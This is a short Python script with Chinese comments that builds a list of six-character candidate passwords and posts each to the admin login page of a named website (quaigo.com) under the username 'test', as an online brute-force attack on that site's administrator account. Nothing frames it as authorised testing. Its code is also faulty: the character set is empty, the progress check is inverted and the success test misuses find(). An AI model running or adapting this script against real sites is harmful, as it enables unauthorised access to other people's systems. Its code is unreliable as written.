#encoding=utf-8

import itertools

import string

import requests

def gen_pwd_file(file="pwd_file.txt"):

    """

    生成候选密码文件，可以网上直接下载一个或自己直接写

    """

   #  words = string.digits+string.letters

    words = ''

    pwd_iter = itertools.product(words, repeat=6)

    cnt = 1

    with open(file, 'a') as fw:

        for pwd in pwd_iter:

            fw.write("".join(pwd)+'\n')

            cnt += 1

            if cnt%5000:

                print cnt,'done'

            if cnt>500000:

                break

def get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php', username="test", pwd_file='pwd_file.txt'):

    """

    模拟登录

    """

    #请求的URL地址

    LOGIN_URL = 'http://www.quaigo.com/Admin/Public/login/login.php'

    #模拟登陆的浏览器

    HEADERS = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}

    cnt = 1

    with open(pwd_file) as fr:

        for line in fr:

            pwd = line.strip()

            DATA = {"username":username, "password": pwd}   #登录系统的账号密码,也是我们请求数据

            res = requests.post(LOGIN_URL, data=DATA, headers=HEADERS)  #模拟登陆操作

            print(cnt)

            cnt += 1

            if res.text.find(u"密码错误"):

                print(res)

                continue

            else:

                print(line)

                break

# 生成密码文件

gen_pwd_file()

# 逐个密码尝试登录

get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php')